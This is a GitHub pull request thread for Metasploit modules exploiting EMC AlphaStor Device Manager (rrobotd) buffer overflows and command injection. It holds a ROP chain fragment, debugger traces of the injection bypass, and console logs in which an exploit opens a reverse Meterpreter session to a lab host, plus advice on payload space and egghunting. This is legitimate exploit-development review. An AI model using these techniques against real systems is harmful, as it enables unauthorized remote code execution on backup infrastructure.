Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Emc alphastor #3686

Merged
merged 6 commits into from
Sep 23, 2014
Merged

Emc alphastor #3686

merged 6 commits into from
Sep 23, 2014

Conversation

inkrypto
Copy link
Contributor

EMC AlphaStore Modules.

@wvu wvu added the module label Aug 22, 2014
'Brent Morris' # inkrypto@gmail.com
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Version can be deleted, SVN related, we don't use it anymore, thanks!

@jvazquez-r7
Copy link
Contributor

I have the feeling modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb is the same thing than modules/auxiliary/admin/emc/alphastor/_devicemanager_exec.rb, isn't it? If it's the same thing I don't think worths to add a second module with the same thing. Thoughts?

# 96 bytes
rop = [
0x77bb2563, # pop eax/ retn
0x77ba1114, # ptr to kernel32!virtualprotect
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fix indentation for the rop chain, please!

@jvazquez-r7
Copy link
Contributor

Hi @inkrypto thanks very much for your collaboration! Did some comments, feel free to discuss anything! On the other hand, I haven't a EMC AlphaStor Device Manager :\ Do you know if there is a free trial or whatever out there for testing? Otherwise, once code review is finished we'll nee dyou to send pcap's / screenshots of modules working ! (once code review is finished! :))

@jvazquez-r7 jvazquez-r7 mentioned this pull request Aug 22, 2014
@jvazquez-r7
Copy link
Contributor

I miss feedback from @inkrypto about the next question:

  • randomization of patterns
  • find payloads
  • modules/auxiliary/server/emc_alphastor_75_cmd_injection duplicated with modules/auxiliary/admin/emc/alphastor/_devicemanager_exec.rb ?

According to his last comment on #3648 he hasn't availability right now. Will let this open and will wait for his feedback, once he can handle it! No rush!

Thanks @inkrypto !

@kernelsmith
Copy link
Contributor

When it's ready, I might be able to test, looking into that now

On Aug 22, 2014, at 12:24, Juan Vazquez notifications@github.com wrote:

I miss feedback from @inkrypto about the next question:

randomization of patterns
find payloads
modules/auxiliary/server/emc_alphastor_75_cmd_injection duplicated with modules/auxiliary/admin/emc/alphastor/_devicemanager_exec.rb ?
According to his last comment on #3648 he hasn't availability right now. Will let this open and will wait for his feedback, once he can handle it! No rush!

Thanks @inkrypto !


Reply to this email directly or view it on GitHub.

@inkrypto
Copy link
Contributor Author

Hi Juan,

The /emc/alphastor/_devicemanager_exec.rb module currently found in the
framework does not work against newer versions of the device manager
(rrobotd.exe). The main issue lies in the way that the 0x75 packet is
parsed now versus before. During the parsing of the packet in the newer
versions of Alphastor there is a check for a "command" versus before.

Below, we can see that the packet from
auxiliary/admin/emc/alphastor_devicemanager_exec.rb is found below.

Breakpoint 1 hit
eax=004034a0 ebx=003483e8 ecx=00acebb0 edx=0044bda8 esi=00000000
edi=00acf4c4
eip=00403130 esp=00ace964 ebp=00acf4c4 iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
rrobotd+0x3130:
00403130 e8db030000 call rrobotd+0x3510 (00403510)
0:004> dc @esp L3
00ace964 0044bdd0 0044bda8 00acebb0 ..D...D.....
0:004> dc 00acebb0
00acebb0 636c6163 6578652e cccccc00 cccccccc calc.exe........
00acebc0 cccccccc cccccccc cccccccc cccccccc ................
00acebd0 cccccccc cccccccc cccccccc cccccccc ................
00acebe0 cccccccc cccccccc cccccccc cccccccc ................
00acebf0 cccccccc cccccccc cccccccc cccccccc ................
00acec00 cccccccc cccccccc cccccccc cccccccc ................
00acec10 cccccccc cccccccc cccccccc cccccccc ................
00acec20 cccccccc cccccccc cccccccc cccccccc ................
0:004> dc 0044bda8
0044bda8 6a72736e 6d6d3b62 6f666e69 6c6d6d3b nsrjb;mminfo;mml
0044bdb8 7461636f 6d6d3b65 6c6f6f70 72736e3b ocate;mmpool;nsr
0044bdc8 00006d6d 00000020 0000003b 75616e55 mm.. ...;...Unau
0044bdd8 726f6874 64657a69 6d6f6320 646e616d thorized command
0044bde8 2527203a 00002773 4d4f4e45 69204d45 : '%s'..ENOMEM i
0044bdf8 7572206e 6f635f6e 6e616d6d 00000064 n run_command...
0044be08 63257325 00007325 4f485341 0000454d %s%c%s..ASHOME..
0044be18 745c7325 725c706d 746f626f 706d742e %s\tmp\robot.tmp
0:004> p
eax=00000000 ebx=003483e8 ecx=0044bdcb edx=0044bdca esi=00000000
edi=00acf4c4
eip=00403135 esp=00ace964 ebp=00acf4c4 iopl=0 nv up ei pl zr na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246
rrobotd+0x3135:
00403135 83c40c add esp,0Ch
0:004>* g*

In the above, we can see the call at 0x00403130 takes 3 arguments; 1 is a
delimiter, 1 is the command array and the 3rd is the user supplied input.
After "jumping over" the call, we see that a 0 (non-matching) is returned
in EAX.

The packet sent via auxiliary/server/emc_alphastor_75_cmd_injection is
seen below

Breakpoint 1 hit
eax=004034a0 ebx=00347fa8 ecx=009cebb0 edx=0044bda8 esi=00000000
edi=009cf4c4
eip=00403130 esp=009ce964 ebp=009cf4c4 iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
rrobotd+0x3130:
00403130 e8db030000 call rrobotd+0x3510 (00403510)
0:003> dc @esp L3
009ce964 0044bdd0 0044bda8 009cebb0 ..D...D.....
0:003> dc 009cebb0
009cebb0 6e696d6d cc006f66 cccccccc cccccccc mminfo..........
009cebc0 cccccccc cccccccc cccccccc cccccccc ................
009cebd0 cccccccc cccccccc cccccccc cccccccc ................
009cebe0 cccccccc cccccccc cccccccc cccccccc ................
009cebf0 cccccccc cccccccc cccccccc cccccccc ................
009cec00 cccccccc cccccccc cccccccc cccccccc ................
009cec10 cccccccc cccccccc cccccccc cccccccc ................
009cec20 cccccccc cccccccc cccccccc cccccccc ................
0:003> dc 0044bda8
0044bda8 6a72736e 6d6d3b62 6f666e69 6c6d6d3b nsrjb;mminfo;mml
0044bdb8 7461636f 6d6d3b65 6c6f6f70 72736e3b ocate;mmpool;nsr
0044bdc8 00006d6d 00000020 0000003b 75616e55 mm.. ...;...Unau
0044bdd8 726f6874 64657a69 6d6f6320 646e616d thorized command
0044bde8 2527203a 00002773 4d4f4e45 69204d45 : '%s'..ENOMEM i
0044bdf8 7572206e 6f635f6e 6e616d6d 00000064 n run_command...
0044be08 63257325 00007325 4f485341 0000454d %s%c%s..ASHOME..
0044be18 745c7325 725c706d 746f626f 706d742e %s\tmp\robot.tmp
0:003> p
eax=00000001 ebx=00347fa8 ecx=0044bdb5 edx=0044bdb4 esi=00000000
edi=009cf4c4
eip=00403135 esp=009ce964 ebp=009cf4c4 iopl=0 nv up ei pl zr na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246
rrobotd+0x3135:
00403135 83c40c add esp,0Ch
0:003>* g*

Using the new packet we see that a 1 (matching) is returned into EAX. Its
because of this matching that we're able to reach the vulnerable code path
further into the application.

Inside the function at 00403130 is a simple strncmp

.text:0040356E push edx ; MaxCount
.text:0040356F mov eax, [ebp+Str2]
.text:00403572 push eax ; Str2
.text:00403573 mov ecx, [ebp+Str1]
.text:00403576 push ecx ; Str1
.text:00403577 call _strncmp

On Fri, Aug 22, 2014 at 9:51 AM, Juan Vazquez notifications@github.com
wrote:

I have the feeling
modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb is the same
thing than modules/auxiliary/admin/emc/alphastor/_devicemanager_exec.rb,
isn't it? If it's the same thing I don't think worths to add a second
module with the same thing. Thoughts?


Reply to this email directly or view it on GitHub
#3686 (comment)
.

@inkrypto
Copy link
Contributor Author

Another note to add is it doesn't matter the command, as long as a command
is there. So technically, you can modify it to be nsrjb, mmlocate, mmpool
or nsrmm and it will still work the same regardless. Each of those reaches
the same vulnerable code path.

On Tue, Aug 26, 2014 at 10:19 AM, inkrypto inkrypto@gmail.com wrote:

Hi Juan,

The /emc/alphastor/_devicemanager_exec.rb module currently found in the
framework does not work against newer versions of the device manager
(rrobotd.exe). The main issue lies in the way that the 0x75 packet is
parsed now versus before. During the parsing of the packet in the newer
versions of Alphastor there is a check for a "command" versus before.

Below, we can see that the packet from
auxiliary/admin/emc/alphastor_devicemanager_exec.rb is found below.

Breakpoint 1 hit
eax=004034a0 ebx=003483e8 ecx=00acebb0 edx=0044bda8 esi=00000000
edi=00acf4c4
eip=00403130 esp=00ace964 ebp=00acf4c4 iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
rrobotd+0x3130:
00403130 e8db030000 call rrobotd+0x3510 (00403510)
0:004> dc @esp L3
00ace964 0044bdd0 0044bda8 00acebb0 ..D...D.....
0:004> dc 00acebb0
00acebb0 636c6163 6578652e cccccc00 cccccccc calc.exe........
00acebc0 cccccccc cccccccc cccccccc cccccccc ................
00acebd0 cccccccc cccccccc cccccccc cccccccc ................
00acebe0 cccccccc cccccccc cccccccc cccccccc ................
00acebf0 cccccccc cccccccc cccccccc cccccccc ................
00acec00 cccccccc cccccccc cccccccc cccccccc ................
00acec10 cccccccc cccccccc cccccccc cccccccc ................
00acec20 cccccccc cccccccc cccccccc cccccccc ................
0:004> dc 0044bda8
0044bda8 6a72736e 6d6d3b62 6f666e69 6c6d6d3b nsrjb;mminfo;mml
0044bdb8 7461636f 6d6d3b65 6c6f6f70 72736e3b ocate;mmpool;nsr
0044bdc8 00006d6d 00000020 0000003b 75616e55 mm.. ...;...Unau
0044bdd8 726f6874 64657a69 6d6f6320 646e616d thorized command
0044bde8 2527203a 00002773 4d4f4e45 69204d45 : '%s'..ENOMEM i
0044bdf8 7572206e 6f635f6e 6e616d6d 00000064 n run_command...
0044be08 63257325 00007325 4f485341 0000454d %s%c%s..ASHOME..
0044be18 745c7325 725c706d 746f626f 706d742e %s\tmp\robot.tmp
0:004> p
eax=00000000 ebx=003483e8 ecx=0044bdcb edx=0044bdca esi=00000000
edi=00acf4c4
eip=00403135 esp=00ace964 ebp=00acf4c4 iopl=0 nv up ei pl zr na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246
rrobotd+0x3135:
00403135 83c40c add esp,0Ch
0:004>* g*

In the above, we can see the call at 0x00403130 takes 3 arguments; 1 is a
delimiter, 1 is the command array and the 3rd is the user supplied input.
After "jumping over" the call, we see that a 0 (non-matching) is returned
in EAX.

The packet sent via auxiliary/server/emc_alphastor_75_cmd_injection is
seen below

Breakpoint 1 hit
eax=004034a0 ebx=00347fa8 ecx=009cebb0 edx=0044bda8 esi=00000000
edi=009cf4c4
eip=00403130 esp=009ce964 ebp=009cf4c4 iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
rrobotd+0x3130:
00403130 e8db030000 call rrobotd+0x3510 (00403510)
0:003> dc @esp L3
009ce964 0044bdd0 0044bda8 009cebb0 ..D...D.....
0:003> dc 009cebb0
009cebb0 6e696d6d cc006f66 cccccccc cccccccc mminfo..........
009cebc0 cccccccc cccccccc cccccccc cccccccc ................
009cebd0 cccccccc cccccccc cccccccc cccccccc ................
009cebe0 cccccccc cccccccc cccccccc cccccccc ................
009cebf0 cccccccc cccccccc cccccccc cccccccc ................
009cec00 cccccccc cccccccc cccccccc cccccccc ................
009cec10 cccccccc cccccccc cccccccc cccccccc ................
009cec20 cccccccc cccccccc cccccccc cccccccc ................
0:003> dc 0044bda8
0044bda8 6a72736e 6d6d3b62 6f666e69 6c6d6d3b nsrjb;mminfo;mml
0044bdb8 7461636f 6d6d3b65 6c6f6f70 72736e3b ocate;mmpool;nsr
0044bdc8 00006d6d 00000020 0000003b 75616e55 mm.. ...;...Unau
0044bdd8 726f6874 64657a69 6d6f6320 646e616d thorized command
0044bde8 2527203a 00002773 4d4f4e45 69204d45 : '%s'..ENOMEM i
0044bdf8 7572206e 6f635f6e 6e616d6d 00000064 n run_command...
0044be08 63257325 00007325 4f485341 0000454d %s%c%s..ASHOME..
0044be18 745c7325 725c706d 746f626f 706d742e %s\tmp\robot.tmp
0:003> p
eax=00000001 ebx=00347fa8 ecx=0044bdb5 edx=0044bdb4 esi=00000000
edi=009cf4c4
eip=00403135 esp=009ce964 ebp=009cf4c4 iopl=0 nv up ei pl zr na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246
rrobotd+0x3135:
00403135 83c40c add esp,0Ch
0:003>* g*

Using the new packet we see that a 1 (matching) is returned into EAX.
Its because of this matching that we're able to reach the vulnerable code
path further into the application.

Inside the function at 00403130 is a simple strncmp

.text:0040356E push edx ; MaxCount
.text:0040356F mov eax, [ebp+Str2]
.text:00403572 push eax ; Str2
.text:00403573 mov ecx, [ebp+Str1]
.text:00403576 push ecx ; Str1
.text:00403577 call _strncmp

On Fri, Aug 22, 2014 at 9:51 AM, Juan Vazquez notifications@github.com
wrote:

I have the feeling
modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb is the same
thing than modules/auxiliary/admin/emc/alphastor/_devicemanager_exec.rb,
isn't it? If it's the same thing I don't think worths to add a second
module with the same thing. Thoughts?


Reply to this email directly or view it on GitHub
#3686 (comment)
.

@inkrypto
Copy link
Contributor Author

Working on randomizing the buffers and stuff. Thanks everyone!

On Fri, Aug 22, 2014 at 1:24 PM, Juan Vazquez notifications@github.com
wrote:

I miss feedback from @inkrypto https://github.com/inkrypto about the
next question:

  • randomization of patterns
  • find payloads
  • modules/auxiliary/server/emc_alphastor_75_cmd_injection duplicated
    with modules/auxiliary/admin/emc/alphastor/_devicemanager_exec.rb ?

According to his last comment on #3648
#3648 he hasn't
availability right now. Will let this open and will wait for his feedback,
once he can handle it! No rush!

Thanks @inkrypto https://github.com/inkrypto !


Reply to this email directly or view it on GitHub
#3686 (comment)
.

@kernelsmith
Copy link
Contributor

@jvazquez-r7 I do have the installer if you need it. I'll get to this if you don't, but it might be a lil while.

@inkrypto
Copy link
Contributor Author

Whoops sorry I just did another pull request to master. once I realized I
did another one from my branch. Sorry.

BTW I randomized the aux module but couldn't do the exploits because the
packet has to be exactly 512 bytes long.

Screenshots and pcaps coming.

On Tue, Aug 26, 2014 at 12:50 PM, Josh notifications@github.com wrote:

@jvazquez-r7 https://github.com/jvazquez-r7 I do have the installer if
you need it. I'll get to this if you don't, but it might be a lil while.


Reply to this email directly or view it on GitHub
#3686 (comment)
.

@jvazquez-r7
Copy link
Contributor

Trying to test modules!

@jvazquez-r7
Copy link
Contributor

  • When using emc_alphastore_41
Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Server 2003 SP2 EN


msf exploit(emc_alphastor_41) > set LHOST 172.16.158.1
LHOST => 172.16.158.1
msf exploit(emc_alphastor_41) > set RHOST 172.16.158.234
RHOST => 172.16.158.234
msf exploit(emc_alphastor_41) > rexploit
[*] Reloading module...

[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(emc_alphastor_41) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(emc_alphastor_41) > rexploit
[*] Reloading module...

[-] Exploit failed: No encoders encoded the buffer successfully.

Indeed, there isn't a lot of space available for the payload, and several badchars. At least being able to run windows meterpreter is desired.

@jvazquez-r7
Copy link
Contributor

When using "meterpreter/reverse_ord_tcp" I don't get a session but the next crash:

0:003> g
(126c.12ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\AS\bin\rrobotd.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\AS\bin\rrobotd.exe
eax=ffffffff ebx=00348d28 ecx=0000020a edx=cccccccc esi=009cf6b0 edi=009cf808
eip=00404e67 esp=009cf6b0 ebp=009cf808 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
rrobotd+0x4e67:
00404e67 8902            mov     dword ptr [edx],eax  ds:0023:cccccccc=????????
0:003> !exchain
009cff9c: rrobotd+1f0c0 (0041f0c0)
009cffdc: kernel32!_except_handler3+0 (77e61a60)
  CRT scope  0, filter: kernel32!BaseThreadStart+3a (77e79293)
                func:   kernel32!BaseThreadStart+4b (77e792a9)
0:003> g
(126c.12ac): Access violation - code c0000005 (!!! second chance !!!)
eax=ffffffff ebx=00348d28 ecx=0000020a edx=cccccccc esi=009cf6b0 edi=009cf808
eip=00404e67 esp=009cf6b0 ebp=009cf808 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
rrobotd+0x4e67:
00404e67 8902            mov     dword ptr [edx],eax  ds:0023:cccccccc=????????
0:003> g
0:003> lmv m rrobotd
start    end        module name
00400000 00467000   rrobotd  C (no symbols)           
    Loaded symbol image file: C:\AS\bin\rrobotd.exe
    Image path: C:\AS\bin\rrobotd.exe
    Image name: rrobotd.exe
    Timestamp:        Tue Mar 08 21:24:37 2011 (4D769085)
    CheckSum:         00000000
    ImageSize:        00067000
    File version:     4.0.0.0
    Product version:  4.0.0.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      EMC
    ProductName:      AlphaStor
    InternalName:     rrobotd
    OriginalFilename: rrobotd.exe
    ProductVersion:   AS_4.0.Build.116
    FileVersion:      AS_4.0.Build.116
    FileDescription:  AS_4.0.Build.116
    LegalCopyright:   Copyright (c) 1990-2011, EMC
    Comments:         Copyright (c) 1990-2011, EMC

MSF options:

msf exploit(emc_alphastor_41) > show options

Module options (exploit/windows/emc/emc_alphastor_41):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  172.16.158.234   yes       The target address
   RPORT  3000             yes       The target port


Payload options (windows/meterpreter/reverse_ord_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     172.16.158.1     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Server 2003 SP2 EN


msf exploit(emc_alphastor_41) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Trying target Windows Server 2003 SP2 EN...

@jvazquez-r7
Copy link
Contributor

emc_alphastor_72 also makes rrobotd to crash, no session:

0:003> g
(1318.1340): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\AS\bin\rrobotd.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\AS\bin\rrobotd.exe
eax=ffffffff ebx=00348d28 ecx=0000020a edx=cccccccc esi=009cf570 edi=009cf6c8
eip=00404e67 esp=009cf570 ebp=009cf6c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
rrobotd+0x4e67:
00404e67 8902            mov     dword ptr [edx],eax  ds:0023:cccccccc=????????
0:003> r
eax=ffffffff ebx=00348d28 ecx=0000020a edx=cccccccc esi=009cf570 edi=009cf6c8
eip=00404e67 esp=009cf570 ebp=009cf6c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
rrobotd+0x4e67:
00404e67 8902            mov     dword ptr [edx],eax  ds:0023:cccccccc=????????
0:003> dd esp
009cf570  009cf830 00000000 00000002 cccccccc
009cf580  cccccccc cccccccc cccccccc cccccccc
009cf590  00000000 00000000 00000000 00000000
009cf5a0  00000000 00000000 00000000 00000000
009cf5b0  00000000 00000000 00000000 00000000
009cf5c0  00000000 00000000 00000000 00000000
009cf5d0  00000000 00000000 00000000 00000000
009cf5e0  00000000 00000000 00000000 00000000
0:003> !exchain
009cff9c: rrobotd+1f0c0 (0041f0c0)
009cffdc: kernel32!_except_handler3+0 (77e61a60)
  CRT scope  0, filter: kernel32!BaseThreadStart+3a (77e79293)
                func:   kernel32!BaseThreadStart+4b (77e792a9)
0:003> g
(1318.1340): Access violation - code c0000005 (!!! second chance !!!)
eax=ffffffff ebx=00348d28 ecx=0000020a edx=cccccccc esi=009cf570 edi=009cf6c8
eip=00404e67 esp=009cf570 ebp=009cf6c8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
rrobotd+0x4e67:
00404e67 8902            mov     dword ptr [edx],eax  ds:0023:cccccccc=????????

msf options:

msf exploit(emc_alphastor_72) > show options

Module options (exploit/windows/emc/emc_alphastor_72):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  172.16.158.234   yes       The target address
   RPORT  3000             yes       The target port


Payload options (windows/meterpreter/reverse_ord_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     172.16.158.1     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Server 2003 SP2 EN


msf exploit(emc_alphastor_72) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Trying target Windows Server 2003 SP2 EN...
msf exploit(emc_alphastor_72) >

@jvazquez-r7
Copy link
Contributor

About the emc_alphastor_75_cmd_injection, it's okey if it's allowing to work with a new check in more recent versions of alphastor. Anyway, if you're able to inject remote commands it shouldn't be an auxiliary module, but an exploit. You can use an ARCH_CMD payload or a CmdStager in order to achieve native payload executions. The reasons to write an exploit instead of an auxiliary modules are mainly two: (1) sessions use to be more powerful than just execute command by command, (2) auxiliary modules lack of badchars / space analysis, so if someone includes badchars (for example) in the CMD it will fail silently, without any apparent reason for the user.

One last thing! Handling several modules in the same pull request makes handling / landing harder, normally doing one pull request by module allows to land modules faster, once they are ready, without having to wait for everything to be ready :)

@inkrypto
Copy link
Contributor Author

Due to the max length of the packet and the small size available for the
payload, the meterpreter/reverse_ord_tcp payload is required. Also, the
version of Alphastor you're using is the patched version. The
vulnerability exists in Alphastor < 4.0, more specifically these modules
were tested against 3.1.1

msf > use exploit/windows/emc/emc_alphastor_41
msf exploit(emc_alphastor_41) > set payload
windows/meterpreter/reverse_ord_tcp
payload => windows/meterpreter/reverse_ord_tcp
msf exploit(emc_alphastor_41) > set lhost 192.168.1.19
lhost => 192.168.1.19
msf exploit(emc_alphastor_41) > set rhost 192.168.1.18
rhost => 192.168.1.18
msf exploit(emc_alphastor_41) > exploit -j
[*] Exploit running as background job.

[] Started reverse handler on 192.168.1.19:4444
[
] Trying target Windows Server 2003 SP2 EN...
[] Transmitting intermediate stager for over-sized stage...(216 bytes)
msf exploit(emc_alphastor_41) > [
] Sending stage (769536 bytes) to
192.168.1.18
[*] Meterpreter session 1 opened (192.168.1.19:4444 -> 192.168.1.18:1760)
at 2014-08-28 11:31:41 -0400

msf exploit(emc_alphastor_41) > back
msf > use post/windows/gather/whereami
msf post(whereami) > set session 1
session => 1
msf post(whereami) > run

[] All up in the process space of 'rrobotd.exe'!
[
] Post module execution completed

On Thu, Aug 28, 2014 at 10:25 AM, Juan Vazquez notifications@github.com
wrote:

  • When using emc_alphastore_41

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name


0 Windows Server 2003 SP2 EN

msf exploit(emc_alphastor_41) > set LHOST 172.16.158.1
LHOST => 172.16.158.1
msf exploit(emc_alphastor_41) > set RHOST 172.16.158.234
RHOST => 172.16.158.234
msf exploit(emc_alphastor_41) > rexploit
[*] Reloading module...

[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(emc_alphastor_41) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(emc_alphastor_41) > rexploit
[*] Reloading module...

[-] Exploit failed: No encoders encoded the buffer successfully.

Indeed, there isn't a lot of space available for the payload, and several
badchars. At least being able to run windows meterpreter is desired.


Reply to this email directly or view it on GitHub
#3686 (comment)
.

@jvazquez-r7
Copy link
Contributor

Advisory says "EMC AlphaStor 4.0 prior to build 814 (All platforms)"

http://www.securityfocus.com/archive/1/525474

I'm using AS_4.0.Build.116 for testing, which should be vulnerable. Indeed looks like vulnerable because it's crashing / memory is being corrupted =)

If you're targeting an specific version of AlphaStor, it should be pointed in the Targets section of the metadata, also in the module description.

Finally, definitely I would recommend to work in the space limitation to allow windows/meterpreter/reverse_tcp (windows/meterpreter/bind_tcp) at least.

For example, looks like you have some space there before overwriting target.ret:

buf = "\xcc" * 550

What about storing the payload there? Or chars restrictions?

What about two requests? one to put the payload in memory, a second one to exploit and use egghunting to find the full payload in memory? (just some options :))

@jvazquez-r7
Copy link
Contributor

@inkrypto do you mind to review:

#3756
and
inkrypto#1

I'm trying to help converting the aux module into an exploit, so hopefully we can land something from this pull request soon :) Would love to see this target covered by msf!

Thanks!

@inkrypto
Copy link
Contributor Author

inkrypto commented Sep 6, 2014

Juan, can you please send me the AS_4.0.Build.116 software you're using?

Thanks man

On Thu, Aug 28, 2014 at 1:09 PM, Juan Vazquez notifications@github.com
wrote:

Advisory says "EMC AlphaStor 4.0 prior to build 814 (All platforms)"

http://www.securityfocus.com/archive/1/525474

I'm using AS_4.0.Build.116 for testing, which should be vulnerable. Indeed
looks like vulnerable because it's crashing / memory is being corrupted =)

If you're targeting an specific version of AlphaStor, it should be pointed
in the Targets section of the metadata, also in the module description.

Finally, definitely I would recommend to work in the space limitation to
allow windows/meterpreter/reverse_tcp (windows/meterpreter/bind_tcp) at
least.

For example, looks like you have some space there before overwriting
target.ret:

buf = "\xcc" * 550

What about storing the payload there? Or chars restrictions?

What about two requests? one to put the payload in memory, a second one to
exploit and use egghunting to find the full payload in memory? (just some
options :))


Reply to this email directly or view it on GitHub
#3686 (comment)
.

@todb
Copy link
Contributor

todb commented Sep 6, 2014

Plz no piracy thx. :)

Sent from a tiny computer.
PGP KeyId: 4096R/F577904A
https://gist.github.com/todb-r7/84ae2e08eb4dafbc4822
Text (insecure): 512-438-9165

@kernelsmith
Copy link
Contributor

@todb, I think it's just to test on a different minor version to pin down the problem

On Sep 6, 2014, at 11:52, Tod Beardsley notifications@github.com wrote:

Plz no piracy thx. :)

Sent from a tiny computer.
PGP KeyId: 4096R/F577904A
https://gist.github.com/todb-r7/84ae2e08eb4dafbc4822
Text (insecure): 512-438-9165

Reply to this email directly or view it on GitHub.

@wchen-r7 wchen-r7 merged commit 4a479d1 into rapid7:master Sep 23, 2014
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants